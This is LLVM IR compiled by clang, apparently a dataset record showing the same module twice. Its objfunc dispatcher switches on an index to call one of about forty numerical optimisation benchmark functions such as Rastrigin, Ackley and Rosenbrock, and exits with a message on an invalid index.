define dso_local double @objfunc(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3) #0 {
%5 = alloca double, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
store ptr %0, ptr %6, align 8
store ptr %1, ptr %7, align 8
store ptr %2, ptr %8, align 8
store ptr %3, ptr %9, align 8
%10 = load ptr, ptr %9, align 8
%11 = load i32, ptr %10, align 4
%12 = add nsw i32 %11, 1
store i32 %12, ptr %10, align 4
%13 = load ptr, ptr %7, align 8
%14 = load i32, ptr %13, align 4
switch i32 %14, label %225 [
i32 0, label %15
i32 1, label %20
i32 2, label %25
i32 3, label %30
i32 4, label %35
i32 5, label %40
i32 6, label %45
i32 7, label %50
i32 8, label %55
i32 9, label %60
i32 11, label %65
i32 12, label %70
i32 13, label %75
i32 14, label %80
i32 15, label %85
i32 16, label %90
i32 17, label %95
i32 18, label %100
i32 19, label %105
i32 20, label %110
i32 21, label %115
i32 22, label %120
i32 23, label %125
i32 25, label %130
i32 26, label %135
i32 27, label %140
i32 28, label %145
i32 29, label %150
i32 30, label %155
i32 31, label %160
i32 32, label %165
i32 33, label %170
i32 34, label %175
i32 35, label %180
i32 36, label %185
i32 37, label %190
i32 38, label %195
i32 39, label %200
i32 40, label %205
i32 41, label %210
i32 42, label %215
i32 43, label %220
]
15: ; preds = %4
%16 = load ptr, ptr %6, align 8
%17 = load ptr, ptr %8, align 8
%18 = load i32, ptr %17, align 4
%19 = call double @rastrigin(ptr noundef %16, i32 noundef %18)
store double %19, ptr %5, align 8
br label %228
20: ; preds = %4
%21 = load ptr, ptr %6, align 8
%22 = load ptr, ptr %8, align 8
%23 = load i32, ptr %22, align 4
%24 = call double @schaffer(ptr noundef %21, i32 noundef %23)
store double %24, ptr %5, align 8
br label %228
25: ; preds = %4
%26 = load ptr, ptr %6, align 8
%27 = load ptr, ptr %8, align 8
%28 = load i32, ptr %27, align 4
%29 = call double @griewank(ptr noundef %26, i32 noundef %28)
store double %29, ptr %5, align 8
br label %228
30: ; preds = %4
%31 = load ptr, ptr %6, align 8
%32 = load ptr, ptr %8, align 8
%33 = load i32, ptr %32, align 4
%34 = call double @ackley(ptr noundef %31, i32 noundef %33)
store double %34, ptr %5, align 8
br label %228
35: ; preds = %4
%36 = load ptr, ptr %6, align 8
%37 = load ptr, ptr %8, align 8
%38 = load i32, ptr %37, align 4
%39 = call double @rosenbrock(ptr noundef %36, i32 noundef %38)
store double %39, ptr %5, align 8
br label %228
40: ; preds = %4
%41 = load ptr, ptr %6, align 8
%42 = load ptr, ptr %8, align 8
%43 = load i32, ptr %42, align 4
%44 = call double @sphere(ptr noundef %41, i32 noundef %43)
store double %44, ptr %5, align 8
br label %228
45: ; preds = %4
%46 = load ptr, ptr %6, align 8
%47 = load ptr, ptr %8, align 8
%48 = load i32, ptr %47, align 4
%49 = call double @mpe(ptr noundef %46, i32 noundef %48)
store double %49, ptr %5, align 8
br label %228
50: ; preds = %4
%51 = load ptr, ptr %6, align 8
%52 = load ptr, ptr %8, align 8
%53 = load i32, ptr %52, align 4
%54 = call double @schaffer_f6(ptr noundef %51, i32 noundef %53)
store double %54, ptr %5, align 8
br label %228
55: ; preds = %4
%56 = load ptr, ptr %6, align 8
%57 = load ptr, ptr %8, align 8
%58 = load i32, ptr %57, align 4
%59 = call double @g_schwefels(ptr noundef %56, i32 noundef %58)
store double %59, ptr %5, align 8
br label %228
60: ; preds = %4
%61 = load ptr, ptr %6, align 8
%62 = load ptr, ptr %8, align 8
%63 = load i32, ptr %62, align 4
%64 = call double @step(ptr noundef %61, i32 noundef %63)
store double %64, ptr %5, align 8
br label %228
65: ; preds = %4
%66 = load ptr, ptr %6, align 8
%67 = load ptr, ptr %8, align 8
%68 = load i32, ptr %67, align 4
%69 = call double @penalized1(ptr noundef %66, i32 noundef %68)
store double %69, ptr %5, align 8
br label %228
70: ; preds = %4
%71 = load ptr, ptr %6, align 8
%72 = load ptr, ptr %8, align 8
%73 = load i32, ptr %72, align 4
%74 = call double @levy(ptr noundef %71, i32 noundef %73)
store double %74, ptr %5, align 8
br label %228
75: ; preds = %4
%76 = load ptr, ptr %6, align 8
%77 = load ptr, ptr %8, align 8
%78 = load i32, ptr %77, align 4
%79 = call double @zakharov(ptr noundef %76, i32 noundef %78)
store double %79, ptr %5, align 8
br label %228
80: ; preds = %4
%81 = load ptr, ptr %6, align 8
%82 = load ptr, ptr %8, align 8
%83 = load i32, ptr %82, align 4
%84 = call double @egg_holder(ptr noundef %81, i32 noundef %83)
store double %84, ptr %5, align 8
br label %228
85: ; preds = %4
%86 = load ptr, ptr %6, align 8
%87 = load ptr, ptr %8, align 8
%88 = load i32, ptr %87, align 4
%89 = call double @holzman(ptr noundef %86, i32 noundef %88)
store double %89, ptr %5, align 8
br label %228
90: ; preds = %4
%91 = load ptr, ptr %6, align 8
%92 = load ptr, ptr %8, align 8
%93 = load i32, ptr %92, align 4
%94 = call double @michalewitz(ptr noundef %91, i32 noundef %93)
store double %94, ptr %5, align 8
br label %228
95: ; preds = %4
%96 = load ptr, ptr %6, align 8
%97 = load ptr, ptr %8, align 8
%98 = load i32, ptr %97, align 4
%99 = call double @penalized2(ptr noundef %96, i32 noundef %98)
store double %99, ptr %5, align 8
br label %228
100: ; preds = %4
%101 = load ptr, ptr %6, align 8
%102 = load ptr, ptr %8, align 8
%103 = load i32, ptr %102, align 4
%104 = call double @powell(ptr noundef %101, i32 noundef %103)
store double %104, ptr %5, align 8
br label %228
105: ; preds = %4
%106 = load ptr, ptr %6, align 8
%107 = load ptr, ptr %8, align 8
%108 = load i32, ptr %107, align 4
%109 = call double @rana(ptr noundef %106, i32 noundef %108)
store double %109, ptr %5, align 8
br label %228
110: ; preds = %4
%111 = load ptr, ptr %6, align 8
%112 = load ptr, ptr %8, align 8
%113 = load i32, ptr %112, align 4
%114 = call double @shubert(ptr noundef %111, i32 noundef %113)
store double %114, ptr %5, align 8
br label %228
115: ; preds = %4
%116 = load ptr, ptr %6, align 8
%117 = load ptr, ptr %8, align 8
%118 = load i32, ptr %117, align 4
%119 = call double @stretchedV(ptr noundef %116, i32 noundef %118)
store double %119, ptr %5, align 8
br label %228
120: ; preds = %4
%121 = load ptr, ptr %6, align 8
%122 = load ptr, ptr %8, align 8
%123 = load i32, ptr %122, align 4
%124 = call double @multimod(ptr noundef %121, i32 noundef %123)
store double %124, ptr %5, align 8
br label %228
125: ; preds = %4
%126 = load ptr, ptr %6, align 8
%127 = load ptr, ptr %8, align 8
%128 = load i32, ptr %127, align 4
%129 = call double @schwefels222(ptr noundef %126, i32 noundef %128)
store double %129, ptr %5, align 8
br label %228
130: ; preds = %4
%131 = load ptr, ptr %6, align 8
%132 = load ptr, ptr %8, align 8
%133 = load i32, ptr %132, align 4
%134 = call double @shifted_sphere(ptr noundef %131, i32 noundef %133)
store double %134, ptr %5, align 8
br label %228
135: ; preds = %4
%136 = load ptr, ptr %6, align 8
%137 = load ptr, ptr %8, align 8
%138 = load i32, ptr %137, align 4
%139 = call double @shifted_schwefel_221(ptr noundef %136, i32 noundef %138)
store double %139, ptr %5, align 8
br label %228
140: ; preds = %4
%141 = load ptr, ptr %6, align 8
%142 = load ptr, ptr %8, align 8
%143 = load i32, ptr %142, align 4
%144 = call double @shifted_rosenbrock(ptr noundef %141, i32 noundef %143)
store double %144, ptr %5, align 8
br label %228
145: ; preds = %4
%146 = load ptr, ptr %6, align 8
%147 = load ptr, ptr %8, align 8
%148 = load i32, ptr %147, align 4
%149 = call double @shifted_rastrigin(ptr noundef %146, i32 noundef %148)
store double %149, ptr %5, align 8
br label %228
150: ; preds = %4
%151 = load ptr, ptr %6, align 8
%152 = load ptr, ptr %8, align 8
%153 = load i32, ptr %152, align 4
%154 = call double @shifted_griewank(ptr noundef %151, i32 noundef %153)
store double %154, ptr %5, align 8
br label %228
155: ; preds = %4
%156 = load ptr, ptr %6, align 8
%157 = load ptr, ptr %8, align 8
%158 = load i32, ptr %157, align 4
%159 = call double @shifted_ackley(ptr noundef %156, i32 noundef %158)
store double %159, ptr %5, align 8
br label %228
160: ; preds = %4
%161 = load ptr, ptr %6, align 8
%162 = load ptr, ptr %8, align 8
%163 = load i32, ptr %162, align 4
%164 = call double @shifted_schwefel_222(ptr noundef %161, i32 noundef %163)
store double %164, ptr %5, align 8
br label %228
165: ; preds = %4
%166 = load ptr, ptr %6, align 8
%167 = load ptr, ptr %8, align 8
%168 = load i32, ptr %167, align 4
%169 = call double @shifted_schwefel_12(ptr noundef %166, i32 noundef %168)
store double %169, ptr %5, align 8
br label %228
170: ; preds = %4
%171 = load ptr, ptr %6, align 8
%172 = load ptr, ptr %8, align 8
%173 = load i32, ptr %172, align 4
%174 = call double @shifted_extended_f10(ptr noundef %171, i32 noundef %173)
store double %174, ptr %5, align 8
br label %228
175: ; preds = %4
%176 = load ptr, ptr %6, align 8
%177 = load ptr, ptr %8, align 8
%178 = load i32, ptr %177, align 4
%179 = call double @shifted_bohachevsky(ptr noundef %176, i32 noundef %178)
store double %179, ptr %5, align 8
br label %228
180: ; preds = %4
%181 = load ptr, ptr %6, align 8
%182 = load ptr, ptr %8, align 8
%183 = load i32, ptr %182, align 4
%184 = call double @shifted_schaffer(ptr noundef %181, i32 noundef %183)
store double %184, ptr %5, align 8
br label %228
185: ; preds = %4
%186 = load ptr, ptr %6, align 8
%187 = load ptr, ptr %8, align 8
%188 = load i32, ptr %187, align 4
%189 = call double @hybrid_1(ptr noundef %186, i32 noundef %188)
store double %189, ptr %5, align 8
br label %228
190: ; preds = %4
%191 = load ptr, ptr %6, align 8
%192 = load ptr, ptr %8, align 8
%193 = load i32, ptr %192, align 4
%194 = call double @hybrid_2(ptr noundef %191, i32 noundef %193)
store double %194, ptr %5, align 8
br label %228
195: ; preds = %4
%196 = load ptr, ptr %6, align 8
%197 = load ptr, ptr %8, align 8
%198 = load i32, ptr %197, align 4
%199 = call double @hybrid_3(ptr noundef %196, i32 noundef %198)
store double %199, ptr %5, align 8
br label %228
200: ; preds = %4
%201 = load ptr, ptr %6, align 8
%202 = load ptr, ptr %8, align 8
%203 = load i32, ptr %202, align 4
%204 = call double @hybrid_4(ptr noundef %201, i32 noundef %203)
store double %204, ptr %5, align 8
br label %228
205: ; preds = %4
%206 = load ptr, ptr %6, align 8
%207 = load ptr, ptr %8, align 8
%208 = load i32, ptr %207, align 4
%209 = call double @hybrid_5(ptr noundef %206, i32 noundef %208)
store double %209, ptr %5, align 8
br label %228
210: ; preds = %4
%211 = load ptr, ptr %6, align 8
%212 = load ptr, ptr %8, align 8
%213 = load i32, ptr %212, align 4
%214 = call double @hybrid_6(ptr noundef %211, i32 noundef %213)
store double %214, ptr %5, align 8
br label %228
215: ; preds = %4
%216 = load ptr, ptr %6, align 8
%217 = load ptr, ptr %8, align 8
%218 = load i32, ptr %217, align 4
%219 = call double @hybrid_7(ptr noundef %216, i32 noundef %218)
store double %219, ptr %5, align 8
br label %228
220: ; preds = %4
%221 = load ptr, ptr %6, align 8
%222 = load ptr, ptr %8, align 8
%223 = load i32, ptr %222, align 4
%224 = call double @hybrid_8(ptr noundef %221, i32 noundef %223)
store double %224, ptr %5, align 8
br label %228
225: ; preds = %4
%226 = call i32 @printf(ptr noundef @.str)
%227 = call i32 @exit(i32 noundef 0) #3
unreachable
228: ; preds = %220, %215, %210, %205, %200, %195, %190, %185, %180, %175, %170, %165, %160, %155, %150, %145, %140, %135, %130, %125, %120, %115, %110, %105, %100, %95, %90, %85, %80, %75, %70, %65, %60, %55, %50, %45, %40, %35, %30, %25, %20, %15
%229 = load double, ptr %5, align 8
ret double %229
}
declare double @rastrigin(ptr noundef, i32 noundef) #1
declare double @schaffer(ptr noundef, i32 noundef) #1
declare double @griewank(ptr noundef, i32 noundef) #1
declare double @ackley(ptr noundef, i32 noundef) #1
declare double @rosenbrock(ptr noundef, i32 noundef) #1
declare double @sphere(ptr noundef, i32 noundef) #1
declare double @mpe(ptr noundef, i32 noundef) #1
declare double @schaffer_f6(ptr noundef, i32 noundef) #1
declare double @g_schwefels(ptr noundef, i32 noundef) #1
declare double @step(ptr noundef, i32 noundef) #1
declare double @penalized1(ptr noundef, i32 noundef) #1
declare double @levy(ptr noundef, i32 noundef) #1
declare double @zakharov(ptr noundef, i32 noundef) #1
declare double @egg_holder(ptr noundef, i32 noundef) #1
declare double @holzman(ptr noundef, i32 noundef) #1
declare double @michalewitz(ptr noundef, i32 noundef) #1
declare double @penalized2(ptr noundef, i32 noundef) #1
declare double @powell(ptr noundef, i32 noundef) #1
declare double @rana(ptr noundef, i32 noundef) #1
declare double @shubert(ptr noundef, i32 noundef) #1
declare double @stretchedV(ptr noundef, i32 noundef) #1
declare double @multimod(ptr noundef, i32 noundef) #1
declare double @schwefels222(ptr noundef, i32 noundef) #1
declare double @shifted_sphere(ptr noundef, i32 noundef) #1
declare double @shifted_schwefel_221(ptr noundef, i32 noundef) #1
declare double @shifted_rosenbrock(ptr noundef, i32 noundef) #1
declare double @shifted_rastrigin(ptr noundef, i32 noundef) #1
declare double @shifted_griewank(ptr noundef, i32 noundef) #1
declare double @shifted_ackley(ptr noundef, i32 noundef) #1
declare double @shifted_schwefel_222(ptr noundef, i32 noundef) #1
declare double @shifted_schwefel_12(ptr noundef, i32 noundef) #1
declare double @shifted_extended_f10(ptr noundef, i32 noundef) #1
declare double @shifted_bohachevsky(ptr noundef, i32 noundef) #1
declare double @shifted_schaffer(ptr noundef, i32 noundef) #1
declare double @hybrid_1(ptr noundef, i32 noundef) #1
declare double @hybrid_2(ptr noundef, i32 noundef) #1
declare double @hybrid_3(ptr noundef, i32 noundef) #1
declare double @hybrid_4(ptr noundef, i32 noundef) #1
declare double @hybrid_5(ptr noundef, i32 noundef) #1
declare double @hybrid_6(ptr noundef, i32 noundef) #1
declare double @hybrid_7(ptr noundef, i32 noundef) #1
declare double @hybrid_8(ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpx0fcicpu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [25 x i8] c"Info: Invalid function.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @objfunc(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3) #0 {
%5 = alloca double, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
store ptr %0, ptr %6, align 8
store ptr %1, ptr %7, align 8
store ptr %2, ptr %8, align 8
store ptr %3, ptr %9, align 8
%10 = load ptr, ptr %9, align 8
%11 = load i32, ptr %10, align 4
%12 = add nsw i32 %11, 1
store i32 %12, ptr %10, align 4
%13 = load ptr, ptr %7, align 8
%14 = load i32, ptr %13, align 4
switch i32 %14, label %225 [
i32 0, label %15
i32 1, label %20
i32 2, label %25
i32 3, label %30
i32 4, label %35
i32 5, label %40
i32 6, label %45
i32 7, label %50
i32 8, label %55
i32 9, label %60
i32 11, label %65
i32 12, label %70
i32 13, label %75
i32 14, label %80
i32 15, label %85
i32 16, label %90
i32 17, label %95
i32 18, label %100
i32 19, label %105
i32 20, label %110
i32 21, label %115
i32 22, label %120
i32 23, label %125
i32 25, label %130
i32 26, label %135
i32 27, label %140
i32 28, label %145
i32 29, label %150
i32 30, label %155
i32 31, label %160
i32 32, label %165
i32 33, label %170
i32 34, label %175
i32 35, label %180
i32 36, label %185
i32 37, label %190
i32 38, label %195
i32 39, label %200
i32 40, label %205
i32 41, label %210
i32 42, label %215
i32 43, label %220
]
15: ; preds = %4
%16 = load ptr, ptr %6, align 8
%17 = load ptr, ptr %8, align 8
%18 = load i32, ptr %17, align 4
%19 = call double @rastrigin(ptr noundef %16, i32 noundef %18)
store double %19, ptr %5, align 8
br label %228
20: ; preds = %4
%21 = load ptr, ptr %6, align 8
%22 = load ptr, ptr %8, align 8
%23 = load i32, ptr %22, align 4
%24 = call double @schaffer(ptr noundef %21, i32 noundef %23)
store double %24, ptr %5, align 8
br label %228
25: ; preds = %4
%26 = load ptr, ptr %6, align 8
%27 = load ptr, ptr %8, align 8
%28 = load i32, ptr %27, align 4
%29 = call double @griewank(ptr noundef %26, i32 noundef %28)
store double %29, ptr %5, align 8
br label %228
30: ; preds = %4
%31 = load ptr, ptr %6, align 8
%32 = load ptr, ptr %8, align 8
%33 = load i32, ptr %32, align 4
%34 = call double @ackley(ptr noundef %31, i32 noundef %33)
store double %34, ptr %5, align 8
br label %228
35: ; preds = %4
%36 = load ptr, ptr %6, align 8
%37 = load ptr, ptr %8, align 8
%38 = load i32, ptr %37, align 4
%39 = call double @rosenbrock(ptr noundef %36, i32 noundef %38)
store double %39, ptr %5, align 8
br label %228
40: ; preds = %4
%41 = load ptr, ptr %6, align 8
%42 = load ptr, ptr %8, align 8
%43 = load i32, ptr %42, align 4
%44 = call double @sphere(ptr noundef %41, i32 noundef %43)
store double %44, ptr %5, align 8
br label %228
45: ; preds = %4
%46 = load ptr, ptr %6, align 8
%47 = load ptr, ptr %8, align 8
%48 = load i32, ptr %47, align 4
%49 = call double @mpe(ptr noundef %46, i32 noundef %48)
store double %49, ptr %5, align 8
br label %228
50: ; preds = %4
%51 = load ptr, ptr %6, align 8
%52 = load ptr, ptr %8, align 8
%53 = load i32, ptr %52, align 4
%54 = call double @schaffer_f6(ptr noundef %51, i32 noundef %53)
store double %54, ptr %5, align 8
br label %228
55: ; preds = %4
%56 = load ptr, ptr %6, align 8
%57 = load ptr, ptr %8, align 8
%58 = load i32, ptr %57, align 4
%59 = call double @g_schwefels(ptr noundef %56, i32 noundef %58)
store double %59, ptr %5, align 8
br label %228
60: ; preds = %4
%61 = load ptr, ptr %6, align 8
%62 = load ptr, ptr %8, align 8
%63 = load i32, ptr %62, align 4
%64 = call double @step(ptr noundef %61, i32 noundef %63)
store double %64, ptr %5, align 8
br label %228
65: ; preds = %4
%66 = load ptr, ptr %6, align 8
%67 = load ptr, ptr %8, align 8
%68 = load i32, ptr %67, align 4
%69 = call double @penalized1(ptr noundef %66, i32 noundef %68)
store double %69, ptr %5, align 8
br label %228
70: ; preds = %4
%71 = load ptr, ptr %6, align 8
%72 = load ptr, ptr %8, align 8
%73 = load i32, ptr %72, align 4
%74 = call double @levy(ptr noundef %71, i32 noundef %73)
store double %74, ptr %5, align 8
br label %228
75: ; preds = %4
%76 = load ptr, ptr %6, align 8
%77 = load ptr, ptr %8, align 8
%78 = load i32, ptr %77, align 4
%79 = call double @zakharov(ptr noundef %76, i32 noundef %78)
store double %79, ptr %5, align 8
br label %228
80: ; preds = %4
%81 = load ptr, ptr %6, align 8
%82 = load ptr, ptr %8, align 8
%83 = load i32, ptr %82, align 4
%84 = call double @egg_holder(ptr noundef %81, i32 noundef %83)
store double %84, ptr %5, align 8
br label %228
85: ; preds = %4
%86 = load ptr, ptr %6, align 8
%87 = load ptr, ptr %8, align 8
%88 = load i32, ptr %87, align 4
%89 = call double @holzman(ptr noundef %86, i32 noundef %88)
store double %89, ptr %5, align 8
br label %228
90: ; preds = %4
%91 = load ptr, ptr %6, align 8
%92 = load ptr, ptr %8, align 8
%93 = load i32, ptr %92, align 4
%94 = call double @michalewitz(ptr noundef %91, i32 noundef %93)
store double %94, ptr %5, align 8
br label %228
95: ; preds = %4
%96 = load ptr, ptr %6, align 8
%97 = load ptr, ptr %8, align 8
%98 = load i32, ptr %97, align 4
%99 = call double @penalized2(ptr noundef %96, i32 noundef %98)
store double %99, ptr %5, align 8
br label %228
100: ; preds = %4
%101 = load ptr, ptr %6, align 8
%102 = load ptr, ptr %8, align 8
%103 = load i32, ptr %102, align 4
%104 = call double @powell(ptr noundef %101, i32 noundef %103)
store double %104, ptr %5, align 8
br label %228
105: ; preds = %4
%106 = load ptr, ptr %6, align 8
%107 = load ptr, ptr %8, align 8
%108 = load i32, ptr %107, align 4
%109 = call double @rana(ptr noundef %106, i32 noundef %108)
store double %109, ptr %5, align 8
br label %228
110: ; preds = %4
%111 = load ptr, ptr %6, align 8
%112 = load ptr, ptr %8, align 8
%113 = load i32, ptr %112, align 4
%114 = call double @shubert(ptr noundef %111, i32 noundef %113)
store double %114, ptr %5, align 8
br label %228
115: ; preds = %4
%116 = load ptr, ptr %6, align 8
%117 = load ptr, ptr %8, align 8
%118 = load i32, ptr %117, align 4
%119 = call double @stretchedV(ptr noundef %116, i32 noundef %118)
store double %119, ptr %5, align 8
br label %228
120: ; preds = %4
%121 = load ptr, ptr %6, align 8
%122 = load ptr, ptr %8, align 8
%123 = load i32, ptr %122, align 4
%124 = call double @multimod(ptr noundef %121, i32 noundef %123)
store double %124, ptr %5, align 8
br label %228
125: ; preds = %4
%126 = load ptr, ptr %6, align 8
%127 = load ptr, ptr %8, align 8
%128 = load i32, ptr %127, align 4
%129 = call double @schwefels222(ptr noundef %126, i32 noundef %128)
store double %129, ptr %5, align 8
br label %228
130: ; preds = %4
%131 = load ptr, ptr %6, align 8
%132 = load ptr, ptr %8, align 8
%133 = load i32, ptr %132, align 4
%134 = call double @shifted_sphere(ptr noundef %131, i32 noundef %133)
store double %134, ptr %5, align 8
br label %228
135: ; preds = %4
%136 = load ptr, ptr %6, align 8
%137 = load ptr, ptr %8, align 8
%138 = load i32, ptr %137, align 4
%139 = call double @shifted_schwefel_221(ptr noundef %136, i32 noundef %138)
store double %139, ptr %5, align 8
br label %228
140: ; preds = %4
%141 = load ptr, ptr %6, align 8
%142 = load ptr, ptr %8, align 8
%143 = load i32, ptr %142, align 4
%144 = call double @shifted_rosenbrock(ptr noundef %141, i32 noundef %143)
store double %144, ptr %5, align 8
br label %228
145: ; preds = %4
%146 = load ptr, ptr %6, align 8
%147 = load ptr, ptr %8, align 8
%148 = load i32, ptr %147, align 4
%149 = call double @shifted_rastrigin(ptr noundef %146, i32 noundef %148)
store double %149, ptr %5, align 8
br label %228
150: ; preds = %4
%151 = load ptr, ptr %6, align 8
%152 = load ptr, ptr %8, align 8
%153 = load i32, ptr %152, align 4
%154 = call double @shifted_griewank(ptr noundef %151, i32 noundef %153)
store double %154, ptr %5, align 8
br label %228
155: ; preds = %4
%156 = load ptr, ptr %6, align 8
%157 = load ptr, ptr %8, align 8
%158 = load i32, ptr %157, align 4
%159 = call double @shifted_ackley(ptr noundef %156, i32 noundef %158)
store double %159, ptr %5, align 8
br label %228
160: ; preds = %4
%161 = load ptr, ptr %6, align 8
%162 = load ptr, ptr %8, align 8
%163 = load i32, ptr %162, align 4
%164 = call double @shifted_schwefel_222(ptr noundef %161, i32 noundef %163)
store double %164, ptr %5, align 8
br label %228
165: ; preds = %4
%166 = load ptr, ptr %6, align 8
%167 = load ptr, ptr %8, align 8
%168 = load i32, ptr %167, align 4
%169 = call double @shifted_schwefel_12(ptr noundef %166, i32 noundef %168)
store double %169, ptr %5, align 8
br label %228
170: ; preds = %4
%171 = load ptr, ptr %6, align 8
%172 = load ptr, ptr %8, align 8
%173 = load i32, ptr %172, align 4
%174 = call double @shifted_extended_f10(ptr noundef %171, i32 noundef %173)
store double %174, ptr %5, align 8
br label %228
175: ; preds = %4
%176 = load ptr, ptr %6, align 8
%177 = load ptr, ptr %8, align 8
%178 = load i32, ptr %177, align 4
%179 = call double @shifted_bohachevsky(ptr noundef %176, i32 noundef %178)
store double %179, ptr %5, align 8
br label %228
180: ; preds = %4
%181 = load ptr, ptr %6, align 8
%182 = load ptr, ptr %8, align 8
%183 = load i32, ptr %182, align 4
%184 = call double @shifted_schaffer(ptr noundef %181, i32 noundef %183)
store double %184, ptr %5, align 8
br label %228
185: ; preds = %4
%186 = load ptr, ptr %6, align 8
%187 = load ptr, ptr %8, align 8
%188 = load i32, ptr %187, align 4
%189 = call double @hybrid_1(ptr noundef %186, i32 noundef %188)
store double %189, ptr %5, align 8
br label %228
190: ; preds = %4
%191 = load ptr, ptr %6, align 8
%192 = load ptr, ptr %8, align 8
%193 = load i32, ptr %192, align 4
%194 = call double @hybrid_2(ptr noundef %191, i32 noundef %193)
store double %194, ptr %5, align 8
br label %228
195: ; preds = %4
%196 = load ptr, ptr %6, align 8
%197 = load ptr, ptr %8, align 8
%198 = load i32, ptr %197, align 4
%199 = call double @hybrid_3(ptr noundef %196, i32 noundef %198)
store double %199, ptr %5, align 8
br label %228
200: ; preds = %4
%201 = load ptr, ptr %6, align 8
%202 = load ptr, ptr %8, align 8
%203 = load i32, ptr %202, align 4
%204 = call double @hybrid_4(ptr noundef %201, i32 noundef %203)
store double %204, ptr %5, align 8
br label %228
205: ; preds = %4
%206 = load ptr, ptr %6, align 8
%207 = load ptr, ptr %8, align 8
%208 = load i32, ptr %207, align 4
%209 = call double @hybrid_5(ptr noundef %206, i32 noundef %208)
store double %209, ptr %5, align 8
br label %228
210: ; preds = %4
%211 = load ptr, ptr %6, align 8
%212 = load ptr, ptr %8, align 8
%213 = load i32, ptr %212, align 4
%214 = call double @hybrid_6(ptr noundef %211, i32 noundef %213)
store double %214, ptr %5, align 8
br label %228
215: ; preds = %4
%216 = load ptr, ptr %6, align 8
%217 = load ptr, ptr %8, align 8
%218 = load i32, ptr %217, align 4
%219 = call double @hybrid_7(ptr noundef %216, i32 noundef %218)
store double %219, ptr %5, align 8
br label %228
220: ; preds = %4
%221 = load ptr, ptr %6, align 8
%222 = load ptr, ptr %8, align 8
%223 = load i32, ptr %222, align 4
%224 = call double @hybrid_8(ptr noundef %221, i32 noundef %223)
store double %224, ptr %5, align 8
br label %228
225: ; preds = %4
%226 = call i32 @printf(ptr noundef @.str)
%227 = call i32 @exit(i32 noundef 0) #3
unreachable
228: ; preds = %220, %215, %210, %205, %200, %195, %190, %185, %180, %175, %170, %165, %160, %155, %150, %145, %140, %135, %130, %125, %120, %115, %110, %105, %100, %95, %90, %85, %80, %75, %70, %65, %60, %55, %50, %45, %40, %35, %30, %25, %20, %15
%229 = load double, ptr %5, align 8
ret double %229
}
declare double @rastrigin(ptr noundef, i32 noundef) #1
declare double @schaffer(ptr noundef, i32 noundef) #1
declare double @griewank(ptr noundef, i32 noundef) #1
declare double @ackley(ptr noundef, i32 noundef) #1
declare double @rosenbrock(ptr noundef, i32 noundef) #1
declare double @sphere(ptr noundef, i32 noundef) #1
declare double @mpe(ptr noundef, i32 noundef) #1
declare double @schaffer_f6(ptr noundef, i32 noundef) #1
declare double @g_schwefels(ptr noundef, i32 noundef) #1
declare double @step(ptr noundef, i32 noundef) #1
declare double @penalized1(ptr noundef, i32 noundef) #1
declare double @levy(ptr noundef, i32 noundef) #1
declare double @zakharov(ptr noundef, i32 noundef) #1
declare double @egg_holder(ptr noundef, i32 noundef) #1
declare double @holzman(ptr noundef, i32 noundef) #1
declare double @michalewitz(ptr noundef, i32 noundef) #1
declare double @penalized2(ptr noundef, i32 noundef) #1
declare double @powell(ptr noundef, i32 noundef) #1
declare double @rana(ptr noundef, i32 noundef) #1
declare double @shubert(ptr noundef, i32 noundef) #1
declare double @stretchedV(ptr noundef, i32 noundef) #1
declare double @multimod(ptr noundef, i32 noundef) #1
declare double @schwefels222(ptr noundef, i32 noundef) #1
declare double @shifted_sphere(ptr noundef, i32 noundef) #1
declare double @shifted_schwefel_221(ptr noundef, i32 noundef) #1
declare double @shifted_rosenbrock(ptr noundef, i32 noundef) #1
declare double @shifted_rastrigin(ptr noundef, i32 noundef) #1
declare double @shifted_griewank(ptr noundef, i32 noundef) #1
declare double @shifted_ackley(ptr noundef, i32 noundef) #1
declare double @shifted_schwefel_222(ptr noundef, i32 noundef) #1
declare double @shifted_schwefel_12(ptr noundef, i32 noundef) #1
declare double @shifted_extended_f10(ptr noundef, i32 noundef) #1
declare double @shifted_bohachevsky(ptr noundef, i32 noundef) #1
declare double @shifted_schaffer(ptr noundef, i32 noundef) #1
declare double @hybrid_1(ptr noundef, i32 noundef) #1
declare double @hybrid_2(ptr noundef, i32 noundef) #1
declare double @hybrid_3(ptr noundef, i32 noundef) #1
declare double @hybrid_4(ptr noundef, i32 noundef) #1
declare double @hybrid_5(ptr noundef, i32 noundef) #1
declare double @hybrid_6(ptr noundef, i32 noundef) #1
declare double @hybrid_7(ptr noundef, i32 noundef) #1
declare double @hybrid_8(ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
